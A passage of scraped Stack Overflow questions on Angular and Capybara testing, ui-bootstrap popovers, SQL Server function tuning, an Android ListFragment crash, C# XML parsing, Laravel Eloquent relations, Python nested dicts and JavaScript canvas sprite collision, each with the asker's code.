offer_in_db = Offer.where(number: offer_number).first
expect(offer_in_db.description).to eql 'hello world!'
end
end
</code></pre>
<p>As JavaScript driver for Capybara I do use poltergeist.</p>
<p><code>OfferController.js.coffee</code></p>
<pre><code>angular.module('exampleApp').controller 'OffersController', ($scope, Offer) ->
$scope.offer = {}
$scope.offer.positions = []
$scope.addOffer = ->
new Offer().create($scope.offer)
$scope.addPosition = ->
position = { order: $scope.offer.positions.length + 1 }
$scope.offer.positions.push(position)
</code></pre>
<p><code>OfferService.js.coffee</code></p>
<pre><code>angular.module('exampleApp').factory 'Offer', ($resource, $http) ->
class Offer
constructor: ->
@service = $resource('/api/offers/:offersId', {offersId: '@id'}, {update: {method: 'PATCH'}})
defaults = $http.defaults.headers
defaults.patch = defaults.patch || {}
defaults.patch['Content-Type'] = 'application/json'
create: (attrs) ->
offer = new @service(offer: attrs)
offer.$save ($offer) ->
attrs.id = $offer._id
attrs
</code></pre>
<p>Now when I rename the service to OfferService, I don't get the error with the circular dependency. Why does the angular.js service interfere with the mongoid model?</p>
<p>Update: I just figured out that the circular dependency issue does also raise even when I do rename the controller. I forgot to uncomment the <code>Offer.where(...)</code> part of the spec. Why does this happen or let me ask otherwise, any ideas what I could have messed up?</p>
<h2>Update I</h2>
<p>I've added the <code>gem 'capybara-angular'</code> and included it into the <code>spec_helber.rb</code> as described on <a href="https://github.com/wrozka/capybara-angular" rel="nofollow">https://github.com/wrozka/capybara-angular</a>. At least the test do run know. Unfortunately I experience now the problem, that the evaluate_script gets no longer routed to poltergeist because of the above gem.</p>
| 3 | 1,053 |
Adding a UI-Bootstrap Element to DOM inside Directive
|
<p>I am new to angular and I am trying to figure out the following problem. When the user highlights some text, I would like a ui-bootstrap popover to surround the highlighted text. Since this would manipulate the DOM I think I need to use a directive for this. I was able to successfully implement a simpler version of this problem here</p>
<pre><code>app.directive('selectOnClick', function ($window) {
return {
link: function (scope, element) {
element.on('click', function () {
var span = document.createElement("span");
span.style.fontWeight = "bold";
span.style.color = "green";
if (window.getSelection) {
var sel = window.getSelection();
if (sel.rangeCount) {
var range = sel.getRangeAt(0).cloneRange();
range.surroundContents(span);
sel.removeAllRanges();
sel.addRange(range);
}
}
});
}
}
});
</code></pre>
<p>In the above code I am able to surround the highlighted text with a <code>span</code> tag. However I would like to instead use a ui-bootstrap popover. I tried replacing the <code>span</code> part with <code>var popover=angular.element("<a href=#' uib-popover='hello' popover-title='hello'></a>");</code> but this did not work. Am I on the right track or would this approach not work with a ui-bootstrap element?</p>
<p><strong>UPDATED</strong></p>
<p>Here is my attempt at adding the the popover element</p>
<pre><code>app.directive('selectOnClick', function ($window, $compile) {
return {
link: function (scope, element) {
element.on('click', function () {
var popover=angular.element("<a href=#' uib-popover='hello' popover-title='hello'></a>");
if (window.getSelection) {
var sel = window.getSelection();
if (sel.rangeCount) {
var range = sel.getRangeAt(0).cloneRange();
range.surroundContents($compile(popover));
sel.removeAllRanges();
sel.addRange(range);
}
}
});
}
}
});
</code></pre>
<p>Unfortunately I am getting the error <code>TypeError: Failed to execute 'surroundContents' on 'Range': parameter 1 is not of type 'Node'.</code> on the line <code>range.surroundContents($compile(popover));</code> So I suppose <code>$compile(popover)</code> is not the correct type. Can it be converted to <code>Node</code> type somehow?</p>
| 3 | 1,221 |
How do I speed up this multi-statement tabled valued function?
|
<p>I wrote this function that feeds into an XSLT tool for reporting. It's incredibly slow, taking about 1.5-2 seconds on average to return 100 rows. This gets worse as this query can return up to 2000 rows. Any sort of excess load is causing the query to time out, so now I need to optimize it.</p>
<pre><code>USE [ININ_SID]
GO
/****** Object: UserDefinedFunction [dbo].[GetProjectData] Script Date: 12/30/2011 10:27:22 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
ALTER FUNCTION [dbo].[GetProjectData] (
-- Add the parameters for the function here
@ProjectNo VARCHAR(100))
RETURNS @Final TABLE (
Customer VARCHAR(250),
ProjectNo VARCHAR(50),
ProjectName VARCHAR(512),
ProjectType VARCHAR(100),
PhaseID INT,
Phase VARCHAR(50),
NameField1 VARCHAR(100),
IDField1 INT,
IDField2 INT,
ItemDescription VARCHAR(100),
Health VARCHAR(6),
CompletionPercentage INT,
Status VARCHAR(16),
Owner VARCHAR(64),
ItemNotes VARCHAR(140),
ProjectNotes VARCHAR(140))
AS
BEGIN
DECLARE @Health TABLE (
ProjectID INT,
ProjectNotes VARCHAR(140))
DECLARE @Projects TABLE (
ProjectID INT PRIMARY KEY,
ProjectSiteId INT,
ProjectNo VARCHAR(50),
ProjectType VARCHAR(100),
ProjectName VARCHAR(512),
Customer VARCHAR(250),
UNIQUE (ProjectID))
INSERT INTO @Projects
SELECT PSO_Projects.ProjectID,
ProjectSiteID,
ProjectNo,
ProjectType,
ProjectName,
Customers.Name AS Customer
FROM PSO_Projects
INNER JOIN Customers
ON Customers.CustomerID = PSO_Projects.CustomerID
WHERE PSO_Projects.ProjectNo = @ProjectNo
AND CompletionDate IS NULL
-- Get the latest health/notes for the projects
-- This will be used in an inner join later
INSERT INTO @Health
SELECT ProjectID,
ProjectNotes
FROM (SELECT ProjectID,
Notes AS ProjectNotes,
Rank() OVER (Partition BY ProjectID ORDER BY LastUpdatedDate DESC) AS Rank
FROM PSO_ProjectHealthEntries) tmp
WHERE Rank = 1
AND ProjectID IN (SELECT ProjectID
FROM @Projects)
-- PROJECT DELIVERABLES
INSERT INTO @Final
(Customer,
ProjectNo,
ProjectName,
ProjectType,
PhaseID,
Phase,
NameField1,
IDField1,
IDField2,
ItemDescription,
Health,
CompletionPercentage,
Status,
Owner,
ItemNotes,
ProjectNotes)
SELECT Customer,
ProjectNo,
ProjectName,
ProjectType,
PSO_phases.PhaseID,
PSO_Phases.Name,
PSO_Phases.PhaseType,
PSO_Deliverables.DeliverableID,
PSO_Deliverables.MasterID,
PSO_Deliverables.Name,
PSO_Deliverables.Health,
PSO_Deliverables.CompletionPercentage,
pso_deliverables.Status,
DeliverableContacts.Name,
PSO_Deliverables.Notes,
Health.ProjectNotes
FROM @Projects Projects
INNER JOIN @Health Health
ON Health.ProjectID = Projects.ProjectID
INNER JOIN PSO_Phases
ON PSO_Phases.ProjectSiteID = Projects.ProjectSiteID
LEFT JOIN PSO_Deliverables
ON PSO_Deliverables.PhaseID = PSO_Phases.PhaseID
LEFT JOIN PSO_DeliverableAssociations
ON PSO_DeliverableAssociations.DeliverableID = PSO_Deliverables.DeliverableID
AND PSO_DeliverableAssociations.Active = 1
LEFT JOIN PSO_ProjectContacts DeliverableContacts
ON DeliverableContacts.ContactID = PSO_DeliverableAssociations.ContactID
WHERE PSO_Phases.Name 'System Development & Deployment'
AND PSO_Deliverables.Type NOT IN (SELECT DISTINCT ManagementGroup
FROM PSO_DeliverableOwnership)
AND Projects.ProjectID IN (SELECT ProjectID
FROM @Projects)
-- ADDON DELIVERABLES
INSERT INTO @Final
(Customer,
ProjectNo,
ProjectName,
ProjectType,
PhaseID,
Phase,
NameField1,
IDField1,
IDField2,
ItemDescription,
Health,
CompletionPercentage,
Status,
Owner,
ItemNotes,
ProjectNotes)
SELECT Customer,
ProjectNo,
ProjectName,
ProjectType,
PSO_Phases.PhaseID,
'Add-On Deliverables',
PSO_Deliverables.SubType,
PSO_Deliverables.DeliverableID,
PSO_Deliverables.MasterID,
PSO_Deliverables.Name + ' (' + PSO_Deliverables.SubType + ')',
PSO_Deliverables.Health,
PSO_Deliverables.CompletionPercentage,
PSO_Deliverables.Status,
PSO_ProjectContacts.Name,
PSO_Deliverables.Notes,
Health.ProjectNotes
FROM @Projects Projects
INNER JOIN @Health Health
ON Health.ProjectID = Projects.ProjectID
INNER JOIN PSO_Phases
ON PSO_Phases.ProjectSiteID = Projects.ProjectSiteID
INNER JOIN PSO_Deliverables
ON PSO_Deliverables.PhaseID = PSO_Phases.PhaseID
LEFT JOIN PSO_DeliverableAssociations
ON PSO_DeliverableAssociations.DeliverableID = PSO_Deliverables.DeliverableID
AND PSO_DeliverableAssociations.Active = 1
LEFT JOIN PSO_ProjectContacts
ON PSO_ProjectContacts.ContactID = PSO_DeliverableAssociations.ContactID
WHERE Projects.ProjectID IN (SELECT ProjectID
FROM @Projects)
AND ( PSO_Deliverables.Type IN (SELECT DISTINCT ManagementGroup
FROM PSO_DeliverableOwnership) )
-- PROJECT SITE NAMES ONLY
INSERT INTO @Final
(Customer,
ProjectNo,
ProjectName,
ProjectType,
PhaseID,
Phase,
NameField1,
IDField1,
IDField2,
ItemDescription,
Health,
CompletionPercentage,
Status,
Owner,
ItemNotes,
ProjectNotes)
SELECT Customer,
ProjectNo,
ProjectName,
ProjectType,
0,
'Systems Development and Deployment',
PSO_Sites.Name,
PSO_Sites.SiteID,
PSO_Sites.SiteID,
PSO_Sites.Name,
'' AS Health,
'' AS CompletionPercentage,
'' AS Status,
'' AS Owner,
'' AS Notes,
Health.ProjectNotes
FROM @Projects Projects
INNER JOIN @Health Health
ON Health.ProjectID = Projects.ProjectID
INNER JOIN PSO_Sites
ON PSO_Sites.ProjectID = Projects.ProjectID
WHERE Projects.ProjectID IN (SELECT ProjectID
FROM @Projects)
RETURN
END
</code>
</pre>
<p>And on top of this, order is extremely important. This is how it's called:</p>
<pre>
<code>
SELECT Data.*
FROM PSO_Projects
INNER JOIN PSO_ProjectAssociations
ON PSO_ProjectAssociations.ProjectID = PSO_Projects.ProjectID
AND PSO_ProjectAssociations.Active = 1
INNER JOIN PSO_ProjectContacts
ON PSO_ProjectContacts.ContactID = PSO_ProjectAssociations.ContactID
CROSS apply Getprojectdata(ProjectNo) Data
WHERE PSO_ProjectContacts.Name = 'John.Smith'
AND PSO_Projects.CompletionDate IS NULL
ORDER BY Customer,
ProjectNo,
CASE
WHEN Phase = 'Initiation' THEN PhaseID
WHEN Phase = 'Planning' THEN PhaseID + 2000
WHEN Phase = 'Requirements & Design' THEN PhaseID + 4000
WHEN Phase = 'Systems Development and Deployment' THEN PhaseID + 6000
WHEN Phase = 'Add-On Deliverables' THEN PhaseID + 8000
WHEN Phase = 'Closing' THEN PhaseID + 10000
ELSE PhaseID
END,
IDField2,
IDField1
</code>
</pre>
<p>Is there anything I can do in the query to optimize this? The only other real option I have is to find a way to refactor the report to be able to handle fewer columns (such as returning the project name/customer in a single row instead of including it with every row) but I'm not sure how feasible this is.</p>
| 3 | 5,036 |
Android ListFragment (sherlock) xml parsing from url
|
<p>I have problem with SherlockListFtagment and xml parser. On ListActivitiy working with AsyncTask and no have problem. What I need edit for working on ListFragment.</p>
<p>Code:</p>
<pre><code>public class AndroidFragment extends SherlockListFragment{
static final String URL = "http://...";
// XML node keys
static final String KEY_ITEM = "novost"; // parent node
//static final String KEY_ID = "id";
static final String KEY_NAME = "naslov";
static final String KEY_COST = "datum";
static final String KEY_DESC = "text";
static final String KEY_LINK = "link";
static final String KEY_LINK1 = "doc";
ArrayList<HashMap<String, String>> menuItems;
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
View view =inflater.inflate(R.layout.activity_main, null);
Log.w("Aplikacija_view","Startovana" );
return view;
}
@Override
public void onResume() {
Log.w("Aplikacija_resume","Startovana" );
new loadListView().execute();
}
public class loadListView extends AsyncTask<Integer, String, String>
{
@Override protected void onPreExecute()
{
Toast.makeText(getActivity(), "Ucitavanje...", Toast.LENGTH_LONG).show();
super.onPreExecute();
}
@Override protected String doInBackground(Integer... args)
{ // updating UI from Background Thread
menuItems = new ArrayList<HashMap<String, String>>();
final XMLParser parser = new XMLParser();
String xml = parser.getXmlFromUrl(URL); // getting XML
Document doc = parser.getDomElement(xml); // getting DOM element
NodeList nl = doc.getElementsByTagName(KEY_ITEM);
// looping through all item nodes <item>
for (int i = 0; i < nl.getLength(); i++) {
// creating new HashMap
HashMap<String, String> map = new HashMap<String, String>();
Element e = (Element) nl.item(i);
// adding each child node to HashMap key => value
map.put(KEY_NAME, parser.getValue(e, KEY_NAME));
map.put(KEY_COST, "Datum: " + parser.getValue(e, KEY_COST));
map.put(KEY_DESC, parser.getValue(e, KEY_DESC));
map.put(KEY_LINK, parser.getValue(e, KEY_LINK));
map.put(KEY_LINK1, parser.getValue(e, KEY_LINK1));
// adding HashList to ArrayList
menuItems.add(map);
}
return null;
}
@Override protected void onPostExecute(String args)
{
Toast.makeText(getActivity(), "Ucitano", Toast.LENGTH_LONG).show();
String[] from = { KEY_NAME, KEY_DESC, KEY_COST,KEY_LINK,KEY_LINK1};
/** Ids of views in listview_layout */
int[] to = { R.id.naslov, R.id.novost, R.id.datum,R.id.link,R.id.link1};
// Instantiating an adapter to store each items
// R.layout.listview_layout defines the layout of each item
SimpleAdapter adapter = new SimpleAdapter(getActivity().getBaseContext(), menuItems, R.layout.listview_layout, from, to);
// Setting the adapter to the listView
setListAdapter(adapter);
}
}
}
</code></pre>
<p>Application is allways is creshed. What i need to edit ?</p>
<p><em><strong></em>**<em>*</em>****</strong><em>Update log</em><strong><em>*</em>**<em>*</em>**<em>*</em>**<em>*</em>**<em>*</em></strong></p>
<pre><code>03-19 23:44:40.203: W/Aplikacija_view(30386): Startovana
03-19 23:44:40.233: W/Aplikacija_resume(30386): Startovana
03-19 23:44:40.243: W/asset(30386): deep redirect failure from 0x01030046 => 0x0a07000c, defStyleAttr=0x01010084, defStyleRes=0x0103008f, style=0x00000000
03-19 23:44:40.243: W/asset(30386): deep redirect failure from 0x01030046 => 0x0a07000c, defStyleAttr=0x01010084, defStyleRes=0x0103008f, style=0x00000000
03-19 23:44:40.413: D/AndroidRuntime(30386): Shutting down VM
03-19 23:44:40.413: W/dalvikvm(30386): threadid=1: thread exiting with uncaught exception (group=0x4200fa08)
03-19 23:44:40.423: E/AndroidRuntime(30386): FATAL EXCEPTION: main
03-19 23:44:40.423: E/AndroidRuntime(30386): java.lang.RuntimeException: Unable to resume activity {in.wptrafficanalyzer.actionbarsherlocknavtabwithimages/in.wptrafficanalyzer.actionbarsherlocknavtabwithimages.MainActivity}: android.support.v4.app.SuperNotCalledException: Fragment AndroidFragment{42678970 #0 id=0x1020002 android} did not call through to super.onResume()
03-19 23:44:40.423: E/AndroidRuntime(30386): at android.app.ActivityThread.performResumeActivity(ActivityThread.java:2875)
03-19 23:44:40.423: E/AndroidRuntime(30386): at android.app.ActivityThread.handleResumeActivity(ActivityThread.java:2904)
03-19 23:44:40.423: E/AndroidRuntime(30386): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2367)
03-19 23:44:40.423: E/AndroidRuntime(30386): at android.app.ActivityThread.access$600(ActivityThread.java:156)
03-19 23:44:40.423: E/AndroidRuntime(30386): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1250)
03-19 23:44:40.423: E/AndroidRuntime(30386): at android.os.Handler.dispatchMessage(Handler.java:99)
03-19 23:44:40.423: E/AndroidRuntime(30386): at android.os.Looper.loop(Looper.java:137)
03-19 23:44:40.423: E/AndroidRuntime(30386): at android.app.ActivityThread.main(ActivityThread.java:5234)
03-19 23:44:40.423: E/AndroidRuntime(30386): at java.lang.reflect.Method.invokeNative(Native Method)
03-19 23:44:40.423: E/AndroidRuntime(30386): at java.lang.reflect.Method.invoke(Method.java:525)
03-19 23:44:40.423: E/AndroidRuntime(30386): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:799)
03-19 23:44:40.423: E/AndroidRuntime(30386): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:566)
03-19 23:44:40.423: E/AndroidRuntime(30386): at dalvik.system.NativeStart.main(Native Method)
03-19 23:44:40.423: E/AndroidRuntime(30386): Caused by: android.support.v4.app.SuperNotCalledException: Fragment AndroidFragment{42678970 #0 id=0x1020002 android} did not call through to super.onResume()
03-19 23:44:40.423: E/AndroidRuntime(30386): at android.support.v4.app.FragmentManagerImpl.moveToState(FragmentManager.java:919)
03-19 23:44:40.423: E/AndroidRuntime(30386): at android.support.v4.app.FragmentManagerImpl.moveToState(FragmentManager.java:1080)
03-19 23:44:40.423: E/AndroidRuntime(30386): at android.support.v4.app.FragmentManagerImpl.moveToState(FragmentManager.java:1062)
03-19 23:44:40.423: E/AndroidRuntime(30386): at android.support.v4.app.FragmentManagerImpl.dispatchResume(FragmentManager.java:1820)
03-19 23:44:40.423: E/AndroidRuntime(30386): at android.support.v4.app.FragmentActivity.onPostResume(FragmentActivity.java:412)
03-19 23:44:40.423: E/AndroidRuntime(30386): at com.actionbarsherlock.app.SherlockFragmentActivity.onPostResume(SherlockFragmentActivity.java:69)
03-19 23:44:40.423: E/AndroidRuntime(30386): at android.app.Activity.performResume(Activity.java:5230)
03-19 23:44:40.423: E/AndroidRuntime(30386): at android.app.ActivityThread.performResumeActivity(ActivityThread.java:2865)
03-19 23:44:40.423: E/AndroidRuntime(30386): ... 12 more
</code></pre>
| 3 | 3,107 |
Dataset ReadXml returns Rows Instead of Columns
|
<p>I am trying to create a datatable from an xml file, using the dataset readxml method. however i am struggling to define the schema correctly to properly interpret this file.</p>
<p>i think the problem lies with the nesting and the fact that the ColumnUid (which ideally should be the column name) is a value rather than an element.</p>
<p>the datatable it returns at the moment has this structure:[<img src="https://i.stack.imgur.com/ke0rS.png" alt="bad table1" /></p>
<p>and i hope to make it return like this: <a href="https://i.stack.imgur.com/dyen6.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/dyen6.png" alt="good table" /></a></p>
<p>is this possible by defining the correct schema to pass to readxml... or even at all?</p>
<p>I could potentially transpose the datatable after the initial readxml, using eaither linq or a loop but would prefer to avoid this</p>
<p>the xml is as follows (shortened example):</p>
<pre><code> <?xml version="1.0" encoding="utf-16"?>
<DataTable Uid="dtDocRows">
<Rows>
<Row>
<Cells>
<Cell>
<ColumnUid>DocEntry</ColumnUid>
<Value>121496</Value>
</Cell>
<Cell>
<ColumnUid>DocNum</ColumnUid>
<Value>264803</Value>
</Cell>
<Cell>
<ColumnUid>LineNum</ColumnUid>
<Value>0</Value>
</Cell>
<Cell>
<ColumnUid>ItemCode</ColumnUid>
<Value>BENIGRAMST55060075L</Value>
</Cell>
<Cell>
<ColumnUid>Quantity</ColumnUid>
<Value>1.000000</Value>
</Cell>
</Cells>
</Row>
<Row>
<Cells>
<Cell>
<ColumnUid>DocEntry</ColumnUid>
<Value>121658</Value>
</Cell>
<Cell>
<ColumnUid>DocNum</ColumnUid>
<Value>264965</Value>
</Cell>
<Cell>
<ColumnUid>LineNum</ColumnUid>
<Value>0</Value>
</Cell>
<Cell>
<ColumnUid>ItemCode</ColumnUid>
<Value>PYCCHANT202575L</Value>
</Cell>
<Cell>
<ColumnUid>Quantity</ColumnUid>
<Value>1.000000</Value>
</Cell>
</Cells>
</Row>
</code></pre>
<p>and the c# function to return the datatable is this:</p>
<pre><code>private DataTable getDotNetDataTable()
{
DataSet ds = new DataSet();
XDocument xdoc = XDocument.Parse(dtDocRows.SerializeAsXML(SAPbouiCOM.BoDataTableXmlSelect.dxs_DataOnly));
xdoc.Save(@"C:\1\xml\test.xml");
ds.ReadXml(@"C:\1\xml\test.xml");
return ds.Tables.Item(4);
return dt;
}
</code></pre>
| 3 | 1,408 |
Laravel resource index listing limited amount of records
|
<p>I have two resources</p>
<ul>
<li><p>Organizations</p>
</li>
<li><p>OrganizationUsers (which has FK to Users on <code>user_id</code>)</p>
</li>
</ul>
<p>The User model</p>
<pre><code>class User extends Authenticatable
{
use Notifiable;
/**
* The attributes that are mass assignable.
*
* @var array
*/
protected $fillable = [
'name', 'email', 'password', 'picture' ,'role_id'
];
/**
* The attributes that should be hidden for arrays.
*
* @var array
*/
protected $hidden = [
'password', 'remember_token',
];
/**
* Get the role of the user
*
* @return \App\Role
*/
public function role()
{
return $this->belongsTo(Role::class);
}
/**
* Get the path to the profile picture
*
* @return string
*/
public function profilePicture()
{
if ($this->picture) {
return "/{$this->picture}";
}
return 'http://i.pravatar.cc/200';
}
/**
* Check if the user has admin role
*
* @return boolean
*/
public function isAdmin()
{
return $this->role_id == 1;
}
/**
* Check if the user has creator role
*
* @return boolean
*/
public function isCreator()
{
return $this->role_id == 2;
}
/**
* Check if the user has user role
*
* @return boolean
*/
public function isMember()
{
return $this->role_id == 3;
}
/**
* The organization_user that belong to the user.
*
* @return \Illuminate\Database\Eloquent\Collection
*/
public function organizations()
{
return $this->belongsToMany(OrganizationUser::class);
}
}
</code></pre>
<p>, the Organization model is</p>
<pre><code>class Organization extends Model
{
protected $fillable = [
'user_id', 'name' , 'slug', 'is_visible'
];
/**
* Get the user owner of the organization
*
* @return \App\User
*/
public function user()
{
return $this->belongsTo(User::class);
}
}
</code></pre>
<p>and the OrganizationUser model is</p>
<pre><code>class OrganizationUser extends Model
{
protected $fillable = [
'user_id', 'organization_id', 'is_admin', 'name'
];
/**
* Get the user
*
* @return \App\User
*/
public function user()
{
return $this->belongsToMany(User::class);
}
/**
* Get the organization
*
* @return \Organization
*/
public function organization()
{
return $this->belongsTo(Organization::class);
}
/**
* Check if the user is_admin
*
* @return boolean
*/
public function isAdmin()
{
return $this->is_admin == 1;
}
}
</code></pre>
<p>When it comes to access these resources</p>
<pre><code>Route::resource('organization', 'OrganizationController');
Route::resource('organizationuser', 'OrganizationUserController', ['except' => ['show']]);
</code></pre>
<p>Also, this is the index() of the OrganizationController</p>
<pre><code>class OrganizationController extends Controller
{
/**
* Display a listing of the organizations
*
* @param \App\Organization $model
* @return \Illuminate\View\View
*/
public function index(Organization $model)
{
$this->authorize('manage-users', User::class);
return view('organizations.index', ['organizations' => $model->all()]);
}
...
}
</code></pre>
<p>and the navigation</p>
<pre><code>@can('manage-organizations', App\User::class)
<li class="nav-item {{ $elementName == 'organization-management' ? 'active' : '' }}">
<a class="nav-link" href="{{ route('organization.index') }}">
<i class="ni ni-briefcase-24" style="color: #1E73BE;"></i>
<span class="nav-link-text">{{ __('Organizations') }}</span>
</a>
</li>
@endcan
</code></pre>
<p>Instead of seeing all of Organizations when going to the index of that resource, I'd like it to list all Organizations where the authenticated user is one of the OrganizationUsers.</p>
<p>How can that be done?</p>
<p>This question has similarities with <a href="https://stackoverflow.com/q/50924851/5675325">this one</a> but it's with a different take.</p>
| 3 | 2,007 |
Create complex object in Python based on property names in dot notation
|
<p>I am trying to create a complex object based on metadata I have. It is an array of attributes which I am iterating and trying to create a dict. For example below is the array:</p>
<pre><code>[
"itemUniqueId",
"itemDescription",
"manufacturerInfo[0].manufacturer.value",
"manufacturerInfo[0].manufacturerPartNumber",
"attributes.noun.value",
"attributes.modifier.value",
"attributes.entityAttributes[0].attributeName",
"attributes.entityAttributes[0].attributeValue",
"attributes.entityAttributes[0].attributeUOM",
"attributes.entityAttributes[1].attributeName",
"attributes.entityAttributes[1].attributeValue",
"attributes.entityAttributes[1].attributeUOM",
]
</code></pre>
<p>This array should give an output as below:</p>
<pre><code>{
"itemUniqueId": "",
"itemDescription": "",
"manufacturerInfo": [
{
"manufacturer": {
"value": ""
},
"manufacturerPartNumber": ""
}
],
"attributes": {
"noun": {
"value": ""
},
"modifier": {
"value": ""
},
"entityAttributes": [
{
"attributeName": "",
"attributeValue": "",
"attributeUOM": ""
},
{
"attributeName": "",
"attributeValue": "",
"attributeUOM": ""
}
]
}
}
</code></pre>
<p>I have written this logic but unable to get the desired output. It should work on both object and array given the metadata.</p>
<pre><code>source_json = [
"itemUniqueId",
"itemDescription",
"manufacturerInfo[0].manufacturer.value",
"manufacturerInfo[0].manufacturerPartNumber",
"attributes.noun.value",
"attributes.modifier.value",
"attributes.entityAttributes[0].attributeName",
"attributes.entityAttributes[0].attributeValue",
"attributes.entityAttributes[0].attributeUOM",
"attributes.entityAttributes[1].attributeName",
"attributes.entityAttributes[1].attributeValue",
"attributes.entityAttributes[1].attributeUOM",
]
for row in source_json:
propertyNames = row.split('.')
temp = ''
parent = {}
parentArr = []
parentObj = {}
# if len(propertyNames) > 1:
arrLength = len(propertyNames)
for i, (current) in enumerate(zip(propertyNames)):
if i == 0:
if '[' in current:
parent[current]=parentArr
else:
parent[current] = parentObj
temp = current
if i > 0 and i < arrLength - 1:
if '[' in current:
parent[current] = parentArr
else:
parent[current] = parentObj
temp = current
if i == arrLength - 1:
if '[' in current:
parent[current] = parentArr
else:
parent[current] = parentObj
temp = current
# temp[prev][current] = ""
# finalMapping[target] = target
print(parent)
</code></pre>
| 3 | 1,783 |
How to stop sprite on collision (Keep it from walking on walls)?
|
<p>Thanks to ellertsmari, I am able to get collision detection.
<a href="https://stackoverflow.com/questions/55625639/adding-collision-to-rectangles-so-sprite-wont-go-through">Adding Collision to Rectangles so Sprite Wont Go Through?</a></p>
<p>Just now I want to get my sprite to stop on collision so he won't be walking on walls. </p>
<p>Here's my link to the game:
<a href="https://yewtreedesign.github.io/441_HW/HW11/index.html" rel="nofollow noreferrer">https://yewtreedesign.github.io/441_HW/HW11/index.html</a></p>
<p>Here's the source code that helped me to use sprites.
<a href="https://dev.to/martyhimmel/moving-a-sprite-sheet-character-with-javascript-3adg" rel="nofollow noreferrer">https://dev.to/martyhimmel/moving-a-sprite-sheet-character-with-javascript-3adg</a></p>
<p>so I figure that :</p>
<p><code>positionX + deltaX > 0</code> (checks for left edge collision.)</p>
<p><code>positionX + SCALED_WIDTH + deltaX < canvas.width</code> (checks for right edge collision.)</p>
<p><code>positionY + deltaY > 0</code> (checks for top edge collision.)</p>
<p><code>positionY + SCALED_HEIGHT + deltaY < canvas.height</code> (checks for bottom edge collision.)</p>
<p>I've tried using the guide of how collision is detected on the sprite.
I have accomplished getting the collision detection on the rectangles.</p>
<p>I've tried to add <code>walls.x</code>, <code>walls.y</code>, <code>walls.width</code>, and <code>walls.height</code> within the code where it prevents the sprite from going out of boundaries. My sprite still gets stuck on his starting point. I am not sure what I need to do. I am very new at this. I know instead of <code>canvas.height/canvas.width</code>. I should use <code>walls.height/walls.width</code>for the walls. </p>
<pre><code>
const SCALE = 1;
const WIDTH = 18;
const HEIGHT = 31;
const SCALED_WIDTH = SCALE * WIDTH;
const SCALED_HEIGHT = SCALE * HEIGHT;
const CYCLE_LOOP = [0, 1, 0, 2];
const FACING_DOWN = 0;
const FACING_UP = 1;
const FACING_LEFT = 2;
const FACING_RIGHT = 3;
const FRAME_LIMIT = 12;
const MOVEMENT_SPEED = 1;
let canvas = document.querySelector('canvas');
let ctx = canvas.getContext('2d');
let keyPresses = {};
let currentDirection = FACING_DOWN;
let currentLoopIndex = 0;
let frameCount = 0;
let positionX = 0;
let positionY = 0;
let img = new Image();
let shiba = new Image();
let rays = new Image();
let doritos = new Image();
let walls= [{"id": "wall1", "x": 105.3, "y": -1, "width": 14.1, "height": 73.5},
{"id": "wall2", "x": 366.5, "y": -1, "width": 14.1, "height": 73.5},
{"id": "wall3", "x": 367, "y": 173.2, "width": 120, "height": 14.1},
{"id": "wall4", "x": -1, "y": 173.2, "width": 120, "height": 14.1},
{"id": "wall5", "x": 105.3, "y": 267.5, "width": 14.1, "height": 73.5},
{"id": "wall6", "x": 366.5, "y": 267.5, "width": 14.1, "height": 73.5}
];
function drawWalls(){
for(var i=0; i< walls.length; i++){
ctx.fillStyle="white";
ctx.fillRect(walls[i].x, walls[i].y, walls[i].width,walls[i].height);
}
}
function collidingWith(walls){
console.log("you are colliding with:", walls.id);
}
window.addEventListener('keydown', keyDownListener);
function keyDownListener(event) {
keyPresses[event.key] = true;
}
window.addEventListener('keyup', keyUpListener);
function keyUpListener(event) {
keyPresses[event.key] = false;
}
function loadImage() {
img.src = 'atlus/mainsprite.png';
shiba.src = 'image/shiba.gif';
rays.src='image/shades.png';
doritos.src='image/dorit.png';
img.onload = function() {
window.requestAnimationFrame(gameLoop);
};
}
function drawFrame(frameX, frameY, canvasX, canvasY) {
ctx.beginPath();
ctx.drawImage(shiba, 225,20);
ctx.closePath();
ctx.beginPath();
ctx.drawImage(rays, 400,20);
ctx.drawImage(doritos, 420,250);
ctx.drawImage(img,
frameX * WIDTH, frameY * HEIGHT, WIDTH, HEIGHT,
canvasX, canvasY, SCALED_WIDTH, SCALED_HEIGHT);
ctx.closePath();
}
loadImage();
function gameLoop() {
ctx.clearRect(0, 0, canvas.width, canvas.height);
drawWalls();
let hasMoved = false;
if (keyPresses.ArrowUp) {
moveCharacter(0, -MOVEMENT_SPEED, FACING_UP);
hasMoved = true;
} else if (keyPresses.ArrowDown) {
moveCharacter(0, MOVEMENT_SPEED, FACING_DOWN);
hasMoved = true;
}
if (keyPresses.ArrowLeft) {
moveCharacter(-MOVEMENT_SPEED, 0, FACING_LEFT);
hasMoved = true;
} else if (keyPresses.ArrowRight) {
moveCharacter(MOVEMENT_SPEED, 0, FACING_RIGHT);
hasMoved = true;
}
if (hasMoved) {
frameCount++;
if (frameCount >= FRAME_LIMIT) {
frameCount = 0;
currentLoopIndex++;
if (currentLoopIndex >= CYCLE_LOOP.length) {
currentLoopIndex = 0;
}
}
}
if (!hasMoved) {
currentLoopIndex = 0;
}
drawFrame(CYCLE_LOOP[currentLoopIndex], currentDirection, positionX, positionY);
window.requestAnimationFrame(gameLoop);
}
function moveCharacter(deltaX, deltaY, direction) {
walls.forEach(walls=>{
if( positionX + deltaX + SCALED_WIDTH > walls.x && positionX + deltaX < walls.x + walls.width
&& positionY + deltaY + SCALED_HEIGHT > walls.y && positionY + deltaY < walls.y +walls.height
){
collidingWith(walls);
}
})
if (positionX + deltaX > 0 && positionX + SCALED_WIDTH + deltaX < canvas.width) {positionX += deltaX;}
if (positionY + deltaY > 0 && positionY + SCALED_HEIGHT + deltaY < canvas.height) {positionY += deltaY;}
currentDirection = direction;
}
</code></pre>
<p>Everything is showing up as it should. In the console, once you collided with one of the walls, it will show you have collided with wall[i].
Which is great.
I just need help so my sprite won't be walking on walls.</p>
<p>UPDATE:</p>
